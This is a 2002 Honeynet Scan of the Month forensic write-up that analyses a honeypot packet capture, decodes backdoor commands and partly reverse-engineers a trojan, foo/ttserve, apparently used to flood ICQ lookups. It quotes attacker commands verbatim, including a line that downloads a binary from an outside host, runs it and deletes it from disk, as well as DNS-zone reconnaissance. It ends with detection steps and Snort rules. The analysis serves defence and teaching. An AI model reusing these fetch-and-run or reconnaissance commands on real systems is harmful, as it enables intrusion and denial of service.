This is my response to the August 2002 Scan of the Month Challenge. Enjoy. If you want to cut to the chase, just use the table of contents to immediately jump to the answers, rather than wade through my methodology.
Andrew van der Stock, MCSE
ajv@greebo.net
Questions
Bonus Question:
To assist with the questions (which are answered below), I have included a blow-by-blow account of the process I've used to answer the questions. This section is useful for those wishing to understand how I came to my answers.
The following information is given by the August 2002 Scan of the Month (SotM) Challenge:
All captured packets are all post-compromise. The reasoning behind this is simple: one of the given pieces of information is that the system has been compromised using an WU-ftpd attack, and yet this attack does not exist in the supplied log.
I downloaded the gzip compressed snort log from Honeynet's web site using Internet Explorer. Knowing that the interpretation of MD5 sums differs depending on how the host OS interprets the names*, I knew it was time to fire up Cygwin, which treats filenames using a POSIX spin, and thus will generate the correct checksum, compared with md5sum compiled by Visual Studio and running under the Windows XP command shell.
Comparing the MD5 checksum from the SOTM web page versus the download:
snort-0718@1401.log.gz MD5 = 6d0056c385f4d312f731d9506e217314 ( snort-0718@1401.log.gz)
$ md5sum snort-0718@1401.log.gz 6d0056c385f4d312f731d9506e217314 *snort-0718@1401.log.gz $
We have a match. We can proceed to unpack the archive.
(* If I can make just one wish of the great people running Honey Net, for future SotM release, I'd really appreciate if you could use lowest common denominator filenames. Although many security professionals do the forensics under Unix (and Unix-like operating systems), most of us have useful tools and do the write up on Windows boxes. I spent nearly an hour making the sotm.tar.gz file decompress using cygwin or WinZip without errors.)
I then decompressed the archive using cygwin's gzip.
$ gzip -d -v snort-0718@1401.log.gz snort-0718@1401.log.gz: 85.9% $
No errors. We can proceed.
I then opened up the log in Ethereal. Ethereal determined that the file was in libpcap format, and had 5085 packets captured. The start time of the log was April 12, 2002 23:45:02.732909 and finished on April 13, 10:23:05.410737, a duration of 10 hours, 38 minutes, and 2 seconds or thereabouts.
As this evidence is not going to be used for prosecution, there is no further preservation or documentation of the chain of evidence.
An interesting tidbit is that the manufacturer ID from the MAC address for all source and destination addresses are VMware... :-) As all the packets have a source MAC address that looks fairly suspicious, it's likely that the source MAC address is of the gateway box, which is also a VMware box.
Packets 1-6 ping
First six packets are a ping (and reply) from the compromised host to "10.10.10.10", which responds.
Packets 5 - 28 - initialize handler communications with the-binary
The next sequence is a protocol (protocol ID 11, nvp) from 94.0.146.98, containing a payload of 402 bytes of information. Next, 81 seconds later, another 402 bytes of information come in from 192.146.201.172. Within 0.11 s, the compromised host makes contact with another 9 random hosts (175.44.57.180, 57.35.28.126, 22.23.166.235, 203.173.144.50 (a resolvable IP address at i-Hug, an Australian ISP), 31.223.48.171, 55.247.104.208, 73.195.64.167, 122.114.160.41, 158.217.222.215). These are almost certainly fake activation announcements to throw off an investigator.
Using the decoder.pl script from the winning entry from the May 2002 Reverse challenge, the following output is determined:
94.0.146.98 -> 172.16.183.2 (handler -> agent)
Initialise agent.
All replies are sent to handler at 203.173.173.50
(plus 9 other randomly generated hosts)
----------------------------------------------------------------
192.146.201.172 -> 172.16.183.2 (handler -> agent)
Execute the given command and send output to handler:
grep -i "zone" /etc/named.conf
----------------------------------------------------------------
172.16.183.2 -> 175.44.57.180 (agent -> handler)
output of command executed by agent:
zone "." {
zone "0.0.127.in-addr.arpa" {
[another 8 identical agent -> handler responses deleted]
---------------------------------------------------------------- 172.16.183.2 -> 175.44.57.180 (agent -> handler) end of output of command executed by agent [another 8 identical agent -> handler messages deleted]
---------------------------------------------------------------- 58.248.76.90 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ; ---------------------------------------------------------------- 218.209.145.27 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 lynx ; rm -rf /tmp/ttserve; ---------------------------------------------------------------- [another two handler -> agent responses deleted]
Packets 29 - 55 ftp activity
Another, potentially compromised machine (aorleans-102-1-2-201.abo.wanadoo.fr) attempts to log on anonymously to the honeypot's ftp server, which is the method of prior compromise. The transcript (saved from Ethereal) of this is:
220 serv1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready. USER anonymous 331 Guest login ok, send your complete e-mail address as password. PASS Pgpuser@home.com 530 Login incorrect. 221 You could at least say goodbye.
Interspersed with the ftp activity is a range of DNS lookups by the compromised machine, probably being used by wu-ftpd for its logs.
In packet 30, the same source machine attempts to connect to the ftp server on what must be the zeros broadcast address for the 172.16.183.8 network, 172.16.183.8. This does not succeed.
Packets 56 - 61 NBTSTAT activity
After a delay of some 8757.3 seconds (145 minutes give or take), the attacker a small number of UDP packets are fired off to the broadcast address in an attempt to find SMB servers (typically Windows 9x / NT / 2K / XP). This could be seen to be using the SMB protocol to do an equivalent of a ping.
Packet 62 - a control connection from 168.148.27.14
A single command is issued some 2255 seconds after the last sequence. The following command is executed:
killall -9 ttserve
Packet 63 control connection from 10.39.81.89
For some reason, the command is repeated some 56 seconds later, probably as precaution in case the previous packet did not arrive.
killall -9 ttserve
Packets 64 -71 - RPC attack
The following 9 packets over four seconds show the a server based in Japan scanning both honeypots for RPC (port 111) vulnerabilities.
Packet 72 - a control connection from 58.248.76.90
The following command is executed:
killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ;
As this is the only file downloaded, this is a new trojan and worthy of investigation. Read the section on reverse engineering on how the file was extracted and investigated.
Packets 73-528 - downloading foo/ttserve
The server spends 27 seconds downloading foo/ttserve to the box and starts it as per the command.
Packet 529 - notifying 11.11.11.11
foo/ttserve annouces itself on udp/53413 to 11.11.11.11. Immediately afterwards, 11.11.11.11 responds with a reply.
Packets 531-2 - ttserve DNS query
ttserve does a DNS query for web.icq.com, but does not cache it.
Packets 533 - 1590 web.icq.com activity
The first of many requests to web.icq.com are sent off, requesting UIN 9207100 -
9207199... twice. Including a DNS lookup for nearly each one.
Packets 1236, 1237, and 1282 - a control connection from 218.209.145.27, 122.255.17.55, 26.44.146.84.
The following command is executed and repeated by two other handlers at one minute intervals:
killall -9 lynx ; rm -rf /tmp/ttserve;
This is the attacker cleaning up after themselves.
Packets 1590 - 1595 - http scanning activity from aorleans
aorleans attempts to do a banner grab, but fails as there doesn't seem to be a web server running.
Packets 2465 - 2799 ftp scanning activity from dom11-246.menta.net
Opens approximately 10-15 connections, each essentially timing out.
Packets 3168 - 3179 - NBTSTAT scanning
All other missing packets are ICQ attacks or DNS lookups.
According the excellent "decoder" Perl script, the the-binary's handler IP address is 203.173.173.50. Doing a nslookup on this address:
nslookup 203.173.173.50 Server: dns.meb.optusnet.com.au Address: 198.142.0.51 Name: p50-max9.mel.ihug.com.au Address: 203.173.173.50
This looks to be a dialup account from Melbourne, Australia belonging an Australian ISP/telco called i-hug. The tcpdump contains two compromised i-hug IP addresses, one in Sydney and one in Melbourne.
I used tcpflow to extract foo/ttserve (see foo.bin in the results, unlinked due to the danger it poses readers using Linux hosts) on a FreeBSD box I have access to.
% tcpflow -r snort-0718@1401.log.gz
Using tcpflow on a FreeBSD box with a capture file from a Linux box had some interesting effects, including producing very large sparse files. However, by doing a grep on the output of ls, I was able to locate foo in one file as a response from 11.11.11.11 to the compromised server. I used vi on this file to remove the top three lines of ASCII text, and confirmed that objdump was happy with the result.
% ls -1 | grep 8882 011.011.011.011.08882-172.016.183.002.01025 % cp 011.011.011.011.08882-172.016.183.002.01025 foo.bin % vi foo.bin [ I removed the top three lines to make objdump happy ] % objdump -d foo.bin % file foo.bin foo.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped % md5sum foo.bin d38817f9814a21f4d6855627eb4c41d6 *foo.bin %
Returning foo.bin to my Windows XP box, I used cygwin's implementation of objdump to disassemble the binary. It had been statically linked and stripped of symbols.
The binary contained a large quantity of readable strings. The binary included an IP address (216.242.103.2), which did not resolve, but gave me the single largest clue as to the attacker's IP address. This address appears in the HTTP header sent by the compromised host when it attempts to download "foo/ttserve". According to the logs, this IP address was not contacted or made contact during the log's duration, which is unusual. The binary contains an embedded HTTP request template for an ICQ web page. Using this on a web browser produced profiles of ICQ users. It contains the string "*nazgul*", which leads me to believe that this might the attacker's pseudonym.
Foo has a fairly complete resolver, an attack against Sun's RPC, and an inbuilt attack against ICQ.
The disassembled code can be found here. Due to time constraints and the lack of IDA Pro 4.3 demo download being available during the period of the challenge, the program was not fully reverse engineered. It is possible to reverse engineer the binary using just objdump and a bit of copious spare time, but this time was simply not available.
After doing the attack timeline above, it became obvious that the attacker's IP address is most likely 11.11.11.11 by the contents of the dump file. But this is not the entire story: after decoding all the command packets, 11.11.11.11 actually turns out to be 216.242.103.2. There is additional evidence to support this postulation.
The reasoning why the IP address is NOT 11.11.11.11 is:
The evidence for the IP address to be 216.242.103.2 is twofold:
It's likely the attacker controls both the-binary's handler (203.173.173.50) and foo/ttserve from 216.242.103.2.
At a high level, the attacker is conducting further Information Gathering attacks on the compromised machine.
The first command the attacker uses is to determine if the machine has any DNS zone files configured in /etc/named.conf.
192.146.201.172 -> 172.16.183.2 (handler -> agent)
Execute the given command and send output to handler:
grep -i "zone" /etc/named.conf
This is very useful to determine the name/IP address maps of internal and DMZ networks and saves the tedious process of attempting to get a AXFR out of a reluctant hardened DNS server.
The purpose of this attack is often, if you've compromised an edge machine there is no security infrastructure in the way to further prevent an edge device->dmz or edge device->internal attack.
Subsequent to this attack, the attacker uses the machine (in sequenced order):
See the timeline above for a detailed view of the activities.
The network activity of inbound requests to the-binary is encoded as documented in the May 2002 Reverse challenge. However, the replies from the the-binary trojan to its handlers seem to be returned in plaintext for csh commands executed with a return string. According the recompilations provided with the reverse challenge, this text is supposed to be encoded, but it may be that the encoder fails with certain plaintext inputs.
For example, if the following plaintext is chosen:
0 23 00 00 00 A B C D
it's likely that the encoder will produce plaintext after the initial obfuscation rounds. The encoder might have failed because there might have been a stream of zeros or other variables that just happened to add up to the magic 23 required to defeat the encoding. This may have been coupled with an unusual boundary condition such as 'z' for the first character.
From initial investigation (ie simply looking at the ASCII strings in the image), it's likely that the foo/ttserve binary (hereafter referred as ttserve) takes a ICQ UIN from a socket listening on port udp/53413 and looks up the details on ICQ's member directory. It then discards the results of the ICQ web pages. There also seems to be a fairly complete copy of a DNS resolver, and a Sun Yellow Pages / RPC attack built into the binary, but this was not used post-infection.
Once foo/ttserve had become operational, the first packet it sends out contains the string "GU\n" in (0x47 0x55 0x0a) to 11.11.11.11. This is probably ttserve telling its handler or the ultimate controller that it is alive and ready to accept connections.
Almost immediately (0.06 seconds delta), a reply packet asks for the first lookup: "DU9207100\n" (0x44 0x55 0x39 ... 0x0a). The short length of time between the first outbound packet and reply suggests a low latency between the compromised host and the attacker (no more than 0.06 seconds = 60 ms, which is 20 ms slower than local metropolitan ISDN latency. Therefore the attacker is in roughly the same continent, and certainly not connected via an undersea cable or satellite. In addition, the low latency is much faster than human reaction time, suggesting the use of an automated tool or script.
It's almost certain that "DU" is a command sequence which initiates a check of the following ICQ UID. This is the last packet we receive from 11.11.11.11.
From the top of read only text, foo/ttserve seems to support four commands:
It's likely that GU means "hey mr controller, I'm alive", and DUXXXXXXX means "hey mr agent, DoS ICQ with XXXXXXX to XXXXXXX+100 queries. And do it twice". DIE is likely to mean to quite the ttserve process. It's not clear what GOT is for, but considering that there is an inbuilt YP/RPC attack, it's probably the command sequence to trigger the RPC attack.
As the binary contains many basic substitution strings (which are themselves exploitable), and a healthy dose of static library inclusions (the reason the binary is so large), it's likely that the code was crufted together from various separate sources, and then statically compiled on a Slackware 3.1 box. The strings are nearly identical to the results of the Reverse Challenge, right down to the same version of libc being used. Many of the decompilation techniques and supplied libraries from the Reverse Challenge simply worked with this binary.
Foo/ttserve is almost certainly coded by the same programmer as "the-binary". Most of the submissions from the 2002 Reverse challenge agree that the coder is not particularly adept. However, that doesn't answer the question regarding "foo".
From the dump alone, there is evidence to support the conclusion that the coder is inept. The dump indicates that the ICQ UIN lookup does a new DNS lookup for each iteration unnecessarily. If the main idea of the UIN lookup is to cause a DoS against ICQ, then reducing the overall throughput of the UIN lookup process by directly asking a remote DNS server for a new name resolution (rather than caching the result directly or even letting the Linux resolver cache the reply) is just plain dumb.
In addition, the foo binary contains many %s expansions, which are often exploitable.
The command will start ttserve and then attempt to forcibly remove it from disk. The -r flag is redundant for a file.
The result of this command sequence is that the foo/ttserve image will remain in memory, but not on disk, and thus covers some of the ephemeral tracks of the backdoor by making it less obvious that malware is actually running on the box.
It looks like the attacker is not directly using the results of the output as the results are not sent anywhere. It is likely therefore that foo/ttserve is being used as a distributed denial of service (DoS) against the ICQ user profile server(s).
Yes. The the-binary trojan uses an (well, relatively...) unused protocol ID assigned to Network Voice Protocol (NVP). All of the firewall rule sets that I create for all of my customers allow only specific ports and protocols inbound to specific hardened servers. Outbound communications are usually more proscribed than that. So the usual last "Deny all, log the lot" rule would have logged this activity and made it apparent that something was up. The fine suggestions made by the Reverse Challenge entrants for detection of the the-binary will continue to work. I have chosen to complete this section focusing on foo/ttserve as it hasn't been documented before.
If for whatever reason the foo/ttserve trojan had somehow managed to gain a foothold on the internal network (say for example introduced by a disgruntled staff member) the presence of a system requesting for a packet to go out on UDP port 53413 would be dropped and logged by most corporate firewalls. However, the rate of dropped packets on most corporate firewalls is very high, and is likely to be missed in all the noise.
To determine if the backdoor is running, a simple
netstat -an | grep 53413
will suffice.
Once discovered, not only will normal process kills (kill -9 pid or killall -9 ttserve) work, it should also be possible to terminate the trojan by sending it a single UDP packet with the contents "DIE\n".
However, as the volume of dropped packets on most corporate firewalls is high and detection rates low, I have created the following Snort alerting rules:
alert udp any 53413 -> $HOME_NET any (msg: "foo/ttserve 1.0 traffic";) alert udp $HOME_NET any -> any 53413 (msg: "foo/ttserve 1.0 traffic";)
[Andrew van der Stock@BUBBLES ~...HoneyNet Challenges/August 2002]$ uname -a
CYGWIN_NT-5.1 BUBBLES 1.3.12(0.54/3/2) 2002-07-06 02:16 i686 unknown